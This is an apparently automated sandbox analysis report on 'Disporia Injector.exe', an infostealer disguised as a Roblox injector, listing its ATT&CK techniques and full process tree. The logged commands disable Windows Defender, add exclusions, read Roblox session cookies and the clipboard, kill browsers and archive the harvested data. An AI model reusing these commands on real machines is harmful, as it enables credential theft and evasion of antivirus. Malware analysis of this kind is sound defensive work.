b2eeac12dcd385e1b91eda960caf741ac185fe6ef0e370f39cfea650c8e90118

Analysis

max time kernel
35s
max time network
37s
platform
windows11-21h2_x64
resource
win11-20240709-en
resource tags

arch:x64arch:x86image:win11-20240709-enlocale:en-usos:windows11-21h2-x64system
submitted
24-07-2024 11:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Disporia/Disporia Injector.exe
Size

8.0MB
MD5

6d2ccd485fdebb72bc2c41f091537051
SHA1

d19b33908567baff6906de878dbd4d973458dbd0
SHA256

bfe00508bcda264ff9218dba1178e356c675a3dddcabfb9da0df8721e16ad261
SHA512

8db1ac7749af567c982493db5028e26817d5995ec1842ba892b8b2b19c2f3e2ca3500ca06e9dcfb828d429f3071662d5dbc102164c507ea1a4c0eacaf41fce08
SSDEEP

98304:FoRoh8FwjzD92BpzIvkK8MMhJMjargKaJObO/OH9KkqxzGW1PgeDbXrqa9LAJdPN:Foih8FwjErzIkB6yM+KriWuAJ9sjPoQ

Score

9^/10

collection credential_access discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
5012	powershell.exe
1684	powershell.exe
3548	powershell.exe
5076	powershell.exe

Drops file in Drivers directory 1 IoCs

Processes:

Disporia Injector.exe

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Disporia Injector.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

Processes:

cmd.exepowershell.exe

pid	Process
3356	cmd.exe
684	powershell.exe

Executes dropped EXE 2 IoCs

Processes:

Camera.exerar.exe

pid	Process
2540	Camera.exe
5528	rar.exe

Loads dropped DLL 19 IoCs

Processes:

Disporia Injector.exe

pid	Process
1716	Disporia Injector.exe
1716	Disporia Injector.exe
1716	Disporia Injector.exe
1716	Disporia Injector.exe
1716	Disporia Injector.exe
1716	Disporia Injector.exe
1716	Disporia Injector.exe
1716	Disporia Injector.exe
1716	Disporia Injector.exe
1716	Disporia Injector.exe
1716	Disporia Injector.exe
1716	Disporia Injector.exe
1716	Disporia Injector.exe
1716	Disporia Injector.exe
1716	Disporia Injector.exe
1716	Disporia Injector.exe
1716	Disporia Injector.exe
1716	Disporia Injector.exe
1716	Disporia Injector.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 57 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral4/files/0x000100000002ab85-67.dat	upx
behavioral4/memory/1716-71-0x00007FFC95FD0000-0x00007FFC96436000-memory.dmp	upx
behavioral4/files/0x000100000002ab89-73.dat	upx
behavioral4/files/0x000100000002ab54-75.dat	upx
behavioral4/files/0x000100000002ab83-77.dat	upx
behavioral4/memory/1716-79-0x00007FFCB06C0000-0x00007FFCB06D0000-memory.dmp	upx
behavioral4/files/0x000100000002ab57-82.dat	upx
behavioral4/memory/1716-81-0x00007FFCB0620000-0x00007FFCB062F000-memory.dmp	upx
behavioral4/memory/1716-84-0x00007FFCA7CD0000-0x00007FFCA7CFC000-memory.dmp	upx
behavioral4/memory/1716-80-0x00007FFCA7DC0000-0x00007FFCA7DE4000-memory.dmp	upx
behavioral4/files/0x000100000002ab53-85.dat	upx
behavioral4/files/0x000100000002ab88-90.dat	upx
behavioral4/files/0x000100000002ab5a-89.dat	upx
behavioral4/memory/1716-92-0x00007FFCA6D30000-0x00007FFCA6D4F000-memory.dmp	upx
behavioral4/memory/1716-93-0x00007FFC95C40000-0x00007FFC95DBD000-memory.dmp	upx
behavioral4/memory/1716-88-0x00007FFCA6F60000-0x00007FFCA6F78000-memory.dmp	upx
behavioral4/files/0x000100000002ab59-94.dat	upx
behavioral4/memory/1716-97-0x00007FFCA6D10000-0x00007FFCA6D29000-memory.dmp	upx
behavioral4/files/0x000100000002ab87-98.dat	upx
behavioral4/memory/1716-100-0x00007FFCB05A0000-0x00007FFCB05AD000-memory.dmp	upx
behavioral4/files/0x000100000002ab5b-99.dat	upx
behavioral4/files/0x000100000002ab82-102.dat	upx
behavioral4/memory/1716-107-0x00007FFC958C0000-0x00007FFC95C35000-memory.dmp	upx
behavioral4/memory/1716-108-0x00007FFCA6C20000-0x00007FFCA6CD8000-memory.dmp	upx
behavioral4/files/0x000100000002ab56-110.dat	upx
behavioral4/files/0x000100000002ab58-111.dat	upx
behavioral4/memory/1716-106-0x00007FFCA6CE0000-0x00007FFCA6D0E000-memory.dmp	upx
behavioral4/files/0x000100000002ab84-105.dat	upx
behavioral4/memory/1716-116-0x00007FFCA7DB0000-0x00007FFCA7DBD000-memory.dmp	upx
behavioral4/files/0x000100000002ab4e-117.dat	upx
behavioral4/memory/1716-119-0x00007FFC95660000-0x00007FFC958B2000-memory.dmp	upx
behavioral4/memory/1716-118-0x00007FFCA7DC0000-0x00007FFCA7DE4000-memory.dmp	upx
behavioral4/memory/1716-115-0x00007FFCA62C0000-0x00007FFCA62D5000-memory.dmp	upx
behavioral4/memory/1716-114-0x00007FFC95FD0000-0x00007FFC96436000-memory.dmp	upx
behavioral4/files/0x000100000002ab8b-122.dat	upx
behavioral4/memory/1716-125-0x00007FFC9BFE0000-0x00007FFC9C0F8000-memory.dmp	upx
behavioral4/memory/1716-124-0x00007FFCA7CD0000-0x00007FFCA7CFC000-memory.dmp	upx
behavioral4/memory/1716-189-0x00007FFCA6D30000-0x00007FFCA6D4F000-memory.dmp	upx
behavioral4/memory/1716-200-0x00007FFC95C40000-0x00007FFC95DBD000-memory.dmp	upx
behavioral4/memory/1716-233-0x00007FFCA6D10000-0x00007FFCA6D29000-memory.dmp	upx
behavioral4/memory/1716-295-0x00007FFC95FD0000-0x00007FFC96436000-memory.dmp	upx
behavioral4/memory/1716-325-0x00007FFCA62C0000-0x00007FFCA62D5000-memory.dmp	upx
behavioral4/memory/1716-324-0x00007FFCA6D30000-0x00007FFCA6D4F000-memory.dmp	upx
behavioral4/memory/1716-323-0x00007FFCA7DB0000-0x00007FFCA7DBD000-memory.dmp	upx
behavioral4/memory/1716-322-0x00007FFCA6CE0000-0x00007FFCA6D0E000-memory.dmp	upx
behavioral4/memory/1716-321-0x00007FFCB05A0000-0x00007FFCB05AD000-memory.dmp	upx
behavioral4/memory/1716-320-0x00007FFCA6D10000-0x00007FFCA6D29000-memory.dmp	upx
behavioral4/memory/1716-319-0x00007FFC95C40000-0x00007FFC95DBD000-memory.dmp	upx
behavioral4/memory/1716-318-0x00007FFCA6C20000-0x00007FFCA6CD8000-memory.dmp	upx
behavioral4/memory/1716-317-0x00007FFCA6F60000-0x00007FFCA6F78000-memory.dmp	upx
behavioral4/memory/1716-316-0x00007FFCA7CD0000-0x00007FFCA7CFC000-memory.dmp	upx
behavioral4/memory/1716-315-0x00007FFCB0620000-0x00007FFCB062F000-memory.dmp	upx
behavioral4/memory/1716-314-0x00007FFCA7DC0000-0x00007FFCA7DE4000-memory.dmp	upx
behavioral4/memory/1716-313-0x00007FFCB06C0000-0x00007FFCB06D0000-memory.dmp	upx
behavioral4/memory/1716-312-0x00007FFC958C0000-0x00007FFC95C35000-memory.dmp	upx
behavioral4/memory/1716-311-0x00007FFC9BFE0000-0x00007FFC9C0F8000-memory.dmp	upx
behavioral4/memory/1716-310-0x00007FFC95660000-0x00007FFC958B2000-memory.dmp	upx

Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

Processes:

tasklist.exe

pid	Process
1280	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

Camera.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Camera.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

Processes:

cmd.exenetsh.exe

pid	Process
2452	cmd.exe
1436	netsh.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

Processes:

systeminfo.exe

pid	Process
4796	systeminfo.exe

Kills process with taskkill 6 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	Process
5872	taskkill.exe
5884	taskkill.exe
5916	taskkill.exe
5944	taskkill.exe
5996	taskkill.exe
5988	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

Processes:

reg.exe

pid	Process
2824	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
3548	powershell.exe
5012	powershell.exe
5012	powershell.exe
5076	powershell.exe
5076	powershell.exe
3548	powershell.exe
3548	powershell.exe
684	powershell.exe
684	powershell.exe
5012	powershell.exe
5012	powershell.exe
5076	powershell.exe
5076	powershell.exe
1684	powershell.exe
1684	powershell.exe
684	powershell.exe
1684	powershell.exe
3800	powershell.exe
3800	powershell.exe
3800	powershell.exe

Suspicious use of AdjustPrivilegeToken 55 IoCs

Processes:

powershell.exepowershell.exepowershell.exeWMIC.exetasklist.exepowershell.exepowershell.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	3548	powershell.exe
Token: SeDebugPrivilege	5012	powershell.exe
Token: SeDebugPrivilege	5076	powershell.exe
Token: SeIncreaseQuotaPrivilege	4264	WMIC.exe
Token: SeSecurityPrivilege	4264	WMIC.exe
Token: SeTakeOwnershipPrivilege	4264	WMIC.exe
Token: SeLoadDriverPrivilege	4264	WMIC.exe
Token: SeSystemProfilePrivilege	4264	WMIC.exe
Token: SeSystemtimePrivilege	4264	WMIC.exe
Token: SeProfSingleProcessPrivilege	4264	WMIC.exe
Token: SeIncBasePriorityPrivilege	4264	WMIC.exe
Token: SeCreatePagefilePrivilege	4264	WMIC.exe
Token: SeBackupPrivilege	4264	WMIC.exe
Token: SeRestorePrivilege	4264	WMIC.exe
Token: SeShutdownPrivilege	4264	WMIC.exe
Token: SeDebugPrivilege	4264	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4264	WMIC.exe
Token: SeRemoteShutdownPrivilege	4264	WMIC.exe
Token: SeUndockPrivilege	4264	WMIC.exe
Token: SeManageVolumePrivilege	4264	WMIC.exe
Token: 33	4264	WMIC.exe
Token: 34	4264	WMIC.exe
Token: 35	4264	WMIC.exe
Token: 36	4264	WMIC.exe
Token: SeDebugPrivilege	1280	tasklist.exe
Token: SeDebugPrivilege	684	powershell.exe
Token: SeIncreaseQuotaPrivilege	4264	WMIC.exe
Token: SeSecurityPrivilege	4264	WMIC.exe
Token: SeTakeOwnershipPrivilege	4264	WMIC.exe
Token: SeLoadDriverPrivilege	4264	WMIC.exe
Token: SeSystemProfilePrivilege	4264	WMIC.exe
Token: SeSystemtimePrivilege	4264	WMIC.exe
Token: SeProfSingleProcessPrivilege	4264	WMIC.exe
Token: SeIncBasePriorityPrivilege	4264	WMIC.exe
Token: SeCreatePagefilePrivilege	4264	WMIC.exe
Token: SeBackupPrivilege	4264	WMIC.exe
Token: SeRestorePrivilege	4264	WMIC.exe
Token: SeShutdownPrivilege	4264	WMIC.exe
Token: SeDebugPrivilege	4264	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4264	WMIC.exe
Token: SeRemoteShutdownPrivilege	4264	WMIC.exe
Token: SeUndockPrivilege	4264	WMIC.exe
Token: SeManageVolumePrivilege	4264	WMIC.exe
Token: 33	4264	WMIC.exe
Token: 34	4264	WMIC.exe
Token: 35	4264	WMIC.exe
Token: 36	4264	WMIC.exe
Token: SeDebugPrivilege	1684	powershell.exe
Token: SeDebugPrivilege	5872	taskkill.exe
Token: SeDebugPrivilege	5884	taskkill.exe
Token: SeDebugPrivilege	5916	taskkill.exe
Token: SeDebugPrivilege	5944	taskkill.exe
Token: SeDebugPrivilege	5996	taskkill.exe
Token: SeDebugPrivilege	5988	taskkill.exe
Token: SeDebugPrivilege	3800	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Disporia Injector.exeDisporia Injector.execmd.exenet.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	Process	procid_target
PID 3444 wrote to memory of 1716	3444	Disporia Injector.exe	81
PID 3444 wrote to memory of 1716	3444	Disporia Injector.exe	81
PID 1716 wrote to memory of 3828	1716	Disporia Injector.exe	83
PID 1716 wrote to memory of 3828	1716	Disporia Injector.exe	83
PID 3828 wrote to memory of 1988	3828	cmd.exe	85
PID 3828 wrote to memory of 1988	3828	cmd.exe	85
PID 1988 wrote to memory of 1388	1988	net.exe	86
PID 1988 wrote to memory of 1388	1988	net.exe	86
PID 1716 wrote to memory of 1628	1716	Disporia Injector.exe	87
PID 1716 wrote to memory of 1628	1716	Disporia Injector.exe	87
PID 1716 wrote to memory of 3712	1716	Disporia Injector.exe	88
PID 1716 wrote to memory of 3712	1716	Disporia Injector.exe	88
PID 1716 wrote to memory of 3740	1716	Disporia Injector.exe	89
PID 1716 wrote to memory of 3740	1716	Disporia Injector.exe	89
PID 1716 wrote to memory of 4804	1716	Disporia Injector.exe	93
PID 1716 wrote to memory of 4804	1716	Disporia Injector.exe	93
PID 1628 wrote to memory of 3548	1628	cmd.exe	95
PID 1628 wrote to memory of 3548	1628	cmd.exe	95
PID 3740 wrote to memory of 3600	3740	cmd.exe	96
PID 3740 wrote to memory of 3600	3740	cmd.exe	96
PID 3712 wrote to memory of 5012	3712	cmd.exe	97
PID 3712 wrote to memory of 5012	3712	cmd.exe	97
PID 1716 wrote to memory of 2540	1716	Disporia Injector.exe	98
PID 1716 wrote to memory of 2540	1716	Disporia Injector.exe	98
PID 1716 wrote to memory of 2460	1716	Disporia Injector.exe	100
PID 1716 wrote to memory of 2460	1716	Disporia Injector.exe	100
PID 1716 wrote to memory of 3356	1716	Disporia Injector.exe	102
PID 1716 wrote to memory of 3356	1716	Disporia Injector.exe	102
PID 1716 wrote to memory of 4512	1716	Disporia Injector.exe	103
PID 1716 wrote to memory of 4512	1716	Disporia Injector.exe	103
PID 1716 wrote to memory of 2452	1716	Disporia Injector.exe	104
PID 1716 wrote to memory of 2452	1716	Disporia Injector.exe	104
PID 1716 wrote to memory of 2220	1716	Disporia Injector.exe	105
PID 1716 wrote to memory of 2220	1716	Disporia Injector.exe	105
PID 4804 wrote to memory of 5076	4804	cmd.exe	110
PID 4804 wrote to memory of 5076	4804	cmd.exe	110
PID 2540 wrote to memory of 2824	2540	cmd.exe	111
PID 2540 wrote to memory of 2824	2540	cmd.exe	111
PID 1716 wrote to memory of 3852	1716	Disporia Injector.exe	112
PID 1716 wrote to memory of 3852	1716	Disporia Injector.exe	112
PID 1716 wrote to memory of 4232	1716	Disporia Injector.exe	113
PID 1716 wrote to memory of 4232	1716	Disporia Injector.exe	113
PID 1716 wrote to memory of 1092	1716	Disporia Injector.exe	114
PID 1716 wrote to memory of 1092	1716	Disporia Injector.exe	114
PID 1716 wrote to memory of 3420	1716	Disporia Injector.exe	118
PID 1716 wrote to memory of 3420	1716	Disporia Injector.exe	118
PID 1716 wrote to memory of 4308	1716	Disporia Injector.exe	119
PID 1716 wrote to memory of 4308	1716	Disporia Injector.exe	119
PID 2460 wrote to memory of 4264	2460	cmd.exe	122
PID 2460 wrote to memory of 4264	2460	cmd.exe	122
PID 4512 wrote to memory of 1280	4512	cmd.exe	123
PID 4512 wrote to memory of 1280	4512	cmd.exe	123
PID 3356 wrote to memory of 684	3356	cmd.exe	124
PID 3356 wrote to memory of 684	3356	cmd.exe	124
PID 2452 wrote to memory of 1436	2452	cmd.exe	125
PID 2452 wrote to memory of 1436	2452	cmd.exe	125
PID 2220 wrote to memory of 4796	2220	cmd.exe	126
PID 2220 wrote to memory of 4796	2220	cmd.exe	126
PID 3852 wrote to memory of 1168	3852	cmd.exe	127
PID 3852 wrote to memory of 1168	3852	cmd.exe	127
PID 3420 wrote to memory of 2540	3420	cmd.exe	128
PID 3420 wrote to memory of 2540	3420	cmd.exe	128
PID 3420 wrote to memory of 2540	3420	cmd.exe	128
PID 1092 wrote to memory of 2608	1092	cmd.exe	129

C:\Users\Admin\AppData\Local\Temp\Disporia\Disporia Injector.exe
"C:\Users\Admin\AppData\Local\Temp\Disporia\Disporia Injector.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3444
- C:\Users\Admin\AppData\Local\Temp\Disporia\Disporia Injector.exe
  "C:\Users\Admin\AppData\Local\Temp\Disporia\Disporia Injector.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net session"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3828
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1988
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:1388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Disporia\Disporia Injector.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1628
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Disporia\Disporia Injector.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3712
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Disporia cannot run if Roblox is not installed. If this issue persists, please try again, or contact support. Пожалуйста, убедитесь, что роблокс установлен', 0, 'roblox.exe not found', 0+16);close()""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3740
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Disporia cannot run if Roblox is not installed. If this issue persists, please try again, or contact support. Пожалуйста, убедитесь, что роблокс установлен', 0, 'roblox.exe not found', 0+16);close()"
      4⤵
      PID:3600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏.scr'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4804
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏.scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2540
  - - C:\Windows\system32\reg.exe
      reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
      4⤵
      Modifies registry key
      PID:2824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2460
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:3356
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4512
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:2452
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2220
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3852
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net session"
    3⤵
    PID:4232
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:4116
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:4128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg query "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\OneDriveSetup.exe" /v DisplayIcon"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1092
  - - C:\Windows\system32\reg.exe
      reg query "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\OneDriveSetup.exe" /v DisplayIcon
      4⤵
      PID:2608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "Camera.exe /devlist"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3420
  - - C:\Users\Admin\AppData\Local\Temp\_MEI34442\Camera.exe
      Camera.exe /devlist
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:4308
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:428
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    PID:5320
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:5464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:5408
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:5504
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe"
    3⤵
    PID:5556
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /IM firefox.exe"
    3⤵
    PID:5564
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /IM msedge.exe"
    3⤵
    PID:5572
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM msedge.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /IM safari.exe"
    3⤵
    PID:5580
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM safari.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /IM opera.exe"
    3⤵
    PID:5588
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM opera.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /IM iexplore.exe"
    3⤵
    PID:5596
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM iexplore.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:5860
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:6060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:6104
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:2952
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI34442\rar.exe a -r -hpblank "C:\Users\Admin\AppData\Local\Temp\5ykrE.zip" *"
    3⤵
    PID:5492
  - - C:\Users\Admin\AppData\Local\Temp\_MEI34442\rar.exe
